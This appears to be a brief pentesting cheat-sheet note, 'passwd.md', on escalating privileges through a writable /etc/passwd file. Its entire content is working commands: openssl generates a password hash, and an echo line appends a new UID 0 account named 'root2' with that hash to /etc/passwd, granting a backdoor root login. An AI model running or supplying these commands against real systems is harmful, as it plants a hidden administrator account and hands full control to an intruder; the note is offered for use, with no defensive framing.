passwd.md

writable passwd file

openssl passwd 123123 #  $1$6fYAoZS9$xS7V.TSO8iALeL4Od872J0
echo 'root2:$1$6fYAoZS9$xS7V.TSO8iALeL4Od872J0:0:0:root:/root:/bin/bash' >> /etc/passwd   # use single quote
# replace 'x' with password hash